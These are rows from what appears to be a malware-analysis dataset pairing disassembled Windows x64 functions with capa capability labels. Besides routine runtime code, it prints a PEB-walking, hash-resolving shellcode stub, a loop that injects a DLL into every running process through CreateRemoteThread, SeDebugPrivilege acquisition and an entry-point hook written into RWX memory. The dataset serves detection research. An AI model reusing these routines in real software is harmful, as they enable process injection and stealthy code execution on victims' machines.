joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18001f91c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18001f94c
xor eax, eax
jmp 0x18001fa0f
mov rbp, rbx
cmp word [rax], si
je 0x18001f971
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18001f958
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18001f954
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18001f86c
movsxd r14, eax
test eax, eax
jne 0x18001f9af
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18001f945
mov rcx, r14
call fcn.18001b7d0
mov rdi, rax
test rax, rax
jne 0x18001f9c8
xor ecx, ecx
call fcn.18001b794
jmp 0x18001f9a4
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18001f86c
test eax, eax
jne 0x18001f9f9
mov rcx, rdi
call fcn.18001b794
jmp 0x18001fa03
xor ecx, ecx
call fcn.18001b794
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x180025870
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180025898
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180025898
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140011726
Capabilities:
Terminate process

Disassembly:
jmp 0x14002a4f0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400118f7
Capabilities:
Parse pe header

Disassembly:
jmp 0x14002bd30
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14002bd50
xor al, al
jmp 0x14002bdd1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14002bd63
xor al, al
jmp 0x14002bdd1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14002bd8d
xor al, al
jmp 0x14002bdd1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14002bda1
xor al, al
jmp 0x14002bdd1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14002bdb3
xor al, al
jmp 0x14002bdd1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14002bdcf
xor al, al
jmp 0x14002bdd1
mov al, 1
add rsp, 0x38
ret
Function at 0x140011ce4
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140020270
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x298
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x6e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2b8]
mov rax, qword [0x14003f040]
xor rax, rbp
mov qword [rbp + 0x268], rax
lea rcx, [0x1400460ee]
call fcn.140011cb7
mov dword [rbp + 4], 0
lea rax, [rbp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x130
rep stosb byte [rdi], al
mov dword [rbp + 0x30], 0x130
xor edx, edx
mov ecx, 2
call fcn.140011627
mov qword [rbp + 0x178], rax
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 0x178]
call fcn.140011aa5
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 0x178]
call fcn.140011cd0
test eax, eax
je 0x14002032f
mov rdx, qword [rbp + 0x290]
lea rcx, [rbp + 0x5c]
call fcn.14001148d
movzx eax, al
test eax, eax
je 0x14002032d
mov eax, dword [rbp + 0x38]
mov dword [rbp + 4], eax
jmp 0x14002032f
jmp 0x1400202fa
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 4]
mov dword [rbp + 0x254], eax
mov rcx, qword [rbp + 0x290]
call fcn.14001124e
mov eax, dword [rbp + 0x254]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x140035f70]
call fcn.140011abe
mov eax, edi
mov rcx, qword [rbp + 0x268]
xor rcx, rbp
call fcn.140011645
lea rsp, [rbp + 0x278]
pop rdi
pop rbp
ret
Function at 0x140011d89
Capabilities:
Enumerate process modules

Disassembly:
jmp 0x140020080
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x460
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xb0
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x488]
mov rax, qword [0x14003f040]
xor rax, rbp
mov qword [rbp + 0x438], rax
lea rcx, [0x1400460ee]
call fcn.140011cb7
cmp qword [rbp + 0x470], 0
jne 0x1400200fb
mov byte [rbp + 0x404], 0
mov rcx, qword [rbp + 0x468]
call fcn.14001124e
movzx eax, byte [rbp + 0x404]
jmp 0x1400201d5
lea rax, [rbp + 0x10]
mov rdi, rax
xor eax, eax
mov ecx, 0x238
rep stosb byte [rdi], al
mov dword [rbp + 0x10], 0x238
mov edx, dword [rbp + 0x460]
mov ecx, 8
call fcn.140011627
mov qword [rbp + 0x268], rax
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x268]
call fcn.1400110d2
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x268]
call fcn.1400113d9
test eax, eax
je 0x14002018a
mov eax, dword [rbp + 0x460]
cmp dword [rbp + 0x18], eax
je 0x14002015a
jmp 0x140020139
mov rdx, qword [rbp + 0x468]
lea rcx, [rbp + 0x40]
call fcn.14001148d
movzx eax, al
test eax, eax
je 0x140020188
lea rax, [rbp + 0x10]
mov rdi, qword [rbp + 0x470]
mov rsi, rax
mov ecx, 0x238
rep movsb byte [rdi], byte [rsi]
jmp 0x14002018a
jmp 0x140020139
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x470]
cmp qword [rax + 0x18], 0
je 0x1400201ae
mov byte [rbp + 0x434], 1
jmp 0x1400201b5
mov byte [rbp + 0x434], 0
movzx eax, byte [rbp + 0x434]
mov byte [rbp + 0x424], al
mov rcx, qword [rbp + 0x468]
call fcn.14001124e
movzx eax, byte [rbp + 0x424]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140035ef0]
call fcn.140011abe
mov rax, rdi
mov rcx, qword [rbp + 0x438]
xor rcx, rbp
call fcn.140011645
lea rsp, [rbp + 0x440]
pop rdi
pop rsi
pop rbp
ret

Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
push rcx
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
push rsi
mov rsi, qword [rdx + 0x50]
movzx rcx, word [rdx + 0x4a]
xor r9, r9
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
push rax
mov ecx, dword [rax + 0x18]
mov r8d, dword [rax + 0x20]
add r8, rdx
jrcxz 0x1400040ca
dec rcx
mov esi, dword [r8 + rcx*4]
xor r9, r9
add rsi, rdx
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
pop r8
pop rsi
add rax, rdx
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
sub rsp, 0x4a0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x490], rax
movups xmm0, xmmword [str.C:Core.dll]
xor edx, edx
lea rcx, [rsp + 0x298]
mov r8d, 0x1f0
movaps xmmword [rsp + 0x280], xmm0
movsd xmm0, qword [0x140003300]
movsd qword [rsp + 0x290], xmm0
call sub.VCRUNTIME140.dll_memset
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.LoadLibraryA
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001115
lea rcx, [0x140003338]
call fcn.140001010
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x238
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000122e
mov qword [rsp + 0x4b0], rdi
mov qword [rsp + 0x4b8], r14
xor r14d, r14d
nop word [rax + rax]
mov edx, dword [rsp + 0x48]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001260]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8d, dword [rsp + 0x48]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov rcx, rax
mov r9d, 0x1000
mov r8d, 0x208
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, 0x208
mov qword [rsp + 0x20], r14
mov rdx, rax
lea r8, [rsp + 0x280]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r14
mov r9, rbp
mov dword [rsp + 0x28], r14d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001150
mov r14, qword [rsp + 0x4b8]
mov rdi, qword [rsp + 0x4b0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x490]
xor rcx, rsp
call fcn.1400012b0
lea r11, [rsp + 0x4a0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop rsi
ret
Function at 0x180006030
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
call fcn.1800218c0
cmp dword [0x180064140], 0
jne 0x180006078
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x180005d70]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x180064148], rax
mov dword [0x180064140], 1
xor eax, eax
add rsp, 0x38
ret

Function at 0x180015d70
Capabilities:
Set console window title

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov qword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor ecx, ecx
call fcn.180031768
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x20]
call fcn.180015ef0
mov rcx, rax
call fcn.1800189b0
mov qword [rsp + 0x38], rax
mov r9, qword [rsp + 0x30]
lea r8, [0x180059f64]
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x28]
call fcn.180033418
mov ecx, 1
call fcn.180031768
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x67]
lea rcx, [rsp + 0x21]
call fcn.180015f90
mov rcx, rax
call fcn.180018970
mov qword [rsp + 0x48], rax
mov r9, qword [rsp + 0x40]
lea r8, [0x180059f68]
mov rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0x28]
call fcn.180033418
mov ecx, 2
call fcn.180031768
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x6f]
lea rcx, [rsp + 0x22]
call fcn.180015f90
mov rcx, rax
call fcn.180018970
mov qword [rsp + 0x58], rax
mov r9, qword [rsp + 0x50]
lea r8, [0x180059f6c]
mov rdx, qword [rsp + 0x58]
lea rcx, [rsp + 0x28]
call fcn.180033418
mov rcx, qword [rsp + 0x90]
call fcn.1800071b0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
add rsp, 0x88
ret
Function at 0x1800162b0
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov rcx, qword [rsp + 0x98]
call fcn.180006f70
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0xffffffffffffffff
jne 0x180016322
mov rcx, qword [rsp + 0x90]
call fcn.180006a00
mov rax, qword [rsp + 0x90]
jmp 0x180016423
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x180016381
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x44]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1800163b3
cmp qword [rsp + 0x50], 0
je 0x18001639c
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x90]
call fcn.180006a00
mov rax, qword [rsp + 0x90]
jmp 0x180016423
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x40]
call fcn.180001bb0
mov ecx, dword [rsp + 0x44]
mov rdx, qword [rsp + 0x50]
add rdx, rcx
mov rcx, rdx
mov r9, rax
mov r8, rcx
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.18001b1a0
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x90]
call fcn.1800177a0
lea rcx, [rsp + 0x60]
call fcn.180017780
mov rax, qword [rsp + 0x90]
add rsp, 0x88
ret
Function at 0x1800173d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rsi
push rdi
sub rsp, 0x58
lea rcx, [rsp + 0x40]
call fcn.1800174a0
mov eax, 0x25ff
mov word [rsp + 0x40], ax
mov dword [rsp + 0x42], 0
lea rax, [0x180017370]
mov qword [rsp + 0x46], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [0x180064150], rax
lea rax, [0x180064158]
mov rdi, rax
mov rsi, qword [0x180064150]
mov ecx, 0xe
rep movsb byte [rdi], byte [rsi]
lea r9, [rsp + 0x20]
mov r8d, 0x40
mov edx, pe_nt_image_headers64
mov rcx, qword [0x180064150]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, [rsp + 0x40]
mov rdi, qword [0x180064150]
mov rsi, rax
mov ecx, 0xe
rep movsb byte [rdi], byte [rsi]
xor eax, eax
add rsp, 0x58
pop rdi
pop rsi
ret
Function at 0x1800218c0
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x78
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x38]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x18002192e
lea rdx, str.Failed_to_open_process_token:
lea rcx, [0x180062bb0]
call fcn.18000dca0
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x30], eax
mov edx, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
call fcn.180022360
mov qword [rsp + 0x48], rax
lea rdx, [0x18000e030]
mov rcx, qword [rsp + 0x48]
call fcn.1800066a0
xor al, al
jmp 0x1800219f7
mov dword [rsp + 0x60], 1
mov eax, 0xc
imul rax, rax, 0
lea rax, [rsp + rax + 0x64]
mov r8, rax
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov eax, 0xc
imul rax, rax, 0
mov dword [rsp + rax + 0x6c], 2
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x10
lea r8, [rsp + 0x60]
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1800219ea
lea rdx, str.Failed_to_adjust_token_privileges:
lea rcx, [0x180062bb0]
call fcn.18000dca0
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x34], eax
mov edx, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x50]
call fcn.180022360
mov qword [rsp + 0x58], rax
lea rdx, [0x18000e030]
mov rcx, qword [rsp + 0x58]
call fcn.1800066a0
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x1800219f7
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add rsp, 0x78
ret
Function at 0x18003b51c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x18003b532
mov al, 1
jmp 0x18003b592
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x18003b543
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x18003b590
mov ecx, dword [rcx + 0x18]
nop
call fcn.1800479e0
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18003b590
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x18003b590
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x18003b590
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x18003b592
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x18003eaa0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.180026d90
sub rsp, rax
mov rax, qword [0x180061078]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.18003a150
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x18003eaef
mov rax, rbp
jmp 0x18003ebf7
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x639b0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.18003f9ec
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0x639b0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x18003ebf3
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18003ebf3
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.18003f9ec
test rax, rax
js 0x18003ebf3
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x18003ebf3
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x18003ebe5
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x18003ebe5
cmp byte [rcx], 0xd
jne 0x18003ebcb
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x18003ebda
cmp byte [rcx + 1], 0xa
jne 0x18003ebda
inc rcx
jmp 0x18003ebda
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x61460]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x18003ebad
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x18003ebf7
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.180026bb0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x18003ed8c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1800639b0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x18003ede3
cmp word [rdx], r13w
jne 0x18003ede3
or byte [rax + rdi*8 + 0x38], cl
jmp 0x18003ede8
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x18003ef0d
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x18003ef2e
lea r9, [rdx + 2]
cmp cx, r11w
je 0x18003ee21
mov rdx, r9
mov word [rbx], cx
jmp 0x18003ee48
cmp r9, r8
jae 0x18003ee58
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x18003ee02
jmp 0x18003ef0d
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18003ef02
cmp dword [rsp + 0x80], esi
je 0x18003ef02
lea r8, [0x1800639b0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x18003eeda
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x18003eeaa
mov word [rbx], r13w
jmp 0x18003ef0a
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x18003eeb7
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x18003ef0a
cmp word [rsp + 0x70], r13w
jne 0x18003eee7
cmp rbx, r14
je 0x18003eea4
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.18003f9f4
cmp word [rsp + 0x70], r13w
je 0x18003ef0d
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1800639b0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x18003ef07
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x18003ef0d